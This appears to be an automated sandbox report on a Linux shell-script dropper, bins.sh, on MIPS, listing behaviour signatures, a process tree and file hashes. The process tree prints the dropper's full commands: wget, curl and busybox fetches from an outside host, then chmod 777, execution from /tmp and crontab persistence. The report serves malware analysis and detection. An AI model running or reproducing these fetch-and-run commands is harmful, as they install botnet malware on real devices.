Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04-11-2024 18:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    31656289d25c2f37fd9883095dbb79eb

  • SHA1

    0428f81cd5e5364f5770bdb839f699c84f90ff85

  • SHA256

    7cf86de792c519df89706b72fb33fe2b558f456d4e0d0587568d9871dab861b0

  • SHA512

    0e73a849c9267030dd9c2f2d35e15d15ba206466485a3399264ff3b95fd7d3328d11a70ffe8fbc0aab8b3174faf17e17f9e3853be28f8cde14c996238f9f3de1

  • SSDEEP

    96:YttJttcLddZO+DLgc2LA8sPUJh5SgugegedhOLKCpL40jj/J5Xx5Mhxix6xDCuCY:ZpOYPOdNCw4DCuxwAw4DCuv

Malware Config

Signatures

  • Contacts a large (1525) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 31 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:739
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:743
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:745
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:767
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:769
        • /bin/chmod
          chmod 777 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • File and Directory Permissions Modification
          PID:770
        • /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          ./kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Executes dropped EXE
          PID:771
        • /bin/rm
          rm kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
            PID:773
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:774
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:778
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:795
          • /bin/chmod
            chmod 777 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • File and Directory Permissions Modification
            PID:802
          • /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            ./60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • Executes dropped EXE
            PID:804
          • /bin/rm
            rm 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
              PID:807
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:808
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:823
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:830
            • /bin/chmod
              chmod 777 OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              2⤵
              • File and Directory Permissions Modification
              PID:831
            • /tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              ./OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              2⤵
              • Executes dropped EXE
              PID:832
            • /bin/rm
              rm OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              2⤵
                PID:834
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:835
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:836
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:838
              • /bin/chmod
                chmod 777 oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                2⤵
                • File and Directory Permissions Modification
                PID:842
              • /tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                ./oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                2⤵
                • Executes dropped EXE
                PID:844
              • /bin/rm
                rm oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                2⤵
                  PID:847
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:848
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:861
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:874
                • /bin/chmod
                  chmod 777 bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
                  2⤵
                  • File and Directory Permissions Modification
                  PID:877
                • /tmp/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
                  ./bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
                  2⤵
                  • Executes dropped EXE
                  PID:878
                • /bin/rm
                  rm bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
                  2⤵
                    PID:880
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:881
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:882
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:887
                  • /bin/chmod
                    chmod 777 bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
                    2⤵
                    • File and Directory Permissions Modification
                    PID:888
                  • /tmp/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
                    ./bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
                    2⤵
                    • Executes dropped EXE
                    PID:889
                  • /bin/rm
                    rm bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
                    2⤵
                      PID:891
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:892
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:893
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:895
                    • /bin/chmod
                      chmod 777 q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
                      2⤵
                      • File and Directory Permissions Modification
                      PID:896
                    • /tmp/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
                      ./q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
                      2⤵
                      • Executes dropped EXE
                      PID:897
                    • /bin/rm
                      rm q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
                      2⤵
                        PID:899
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:900
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:901
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:903
                      • /bin/chmod
                        chmod 777 qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
                        2⤵
                        • File and Directory Permissions Modification
                        PID:904
                      • /tmp/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
                        ./qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
                        2⤵
                        • Executes dropped EXE
                        PID:905
                      • /bin/rm
                        rm qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
                        2⤵
                          PID:907
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:908
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:909
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:911
                        • /bin/chmod
                          chmod 777 DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
                          2⤵
                          • File and Directory Permissions Modification
                          PID:912
                        • /tmp/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
                          ./DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
                          2⤵
                          • Executes dropped EXE
                          PID:913
                        • /bin/rm
                          rm DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
                          2⤵
                            PID:915
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:916
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:917
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:919
                          • /bin/chmod
                            chmod 777 lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
                            2⤵
                            • File and Directory Permissions Modification
                            PID:920
                          • /tmp/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
                            ./lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
                            2⤵
                            • Executes dropped EXE
                            • Renames itself
                            • Reads runtime system information
                            PID:921
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:923
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:924
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:925
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      PID:926
                                • /bin/rm
                                  rm lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
                                  2⤵
                                    PID:928
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:931

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5

                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                • /tmp/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB

                                  Filesize

                                  127KB

                                  MD5

                                  89077b7bd4bcafca7713be43635c4862

                                  SHA1

                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                  SHA256

                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                  SHA512

                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                • /tmp/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /var/spool/cron/crontabs/tmp.hebGgx

                                  Filesize

                                  210B

                                  MD5

                                  87a37d986056dec126efa6a1572ac247

                                  SHA1

                                  31756fac5c4b0db62cd72f89ae21a5118b300573

                                  SHA256

                                  990a3b82bb980f8d6d02a484ac3303ac8d2f1ce809959a6cc5ff6d11af1f0f73

                                  SHA512

                                  fcbd85efce4063d237e180f2d9cf8a8e322b3afd410bae2e1558bcc1adf24cf7274aad6a9b5dcf8ab7ef9fd533571aaf2287ac51e93f3a4efbb513ab7c68e6c4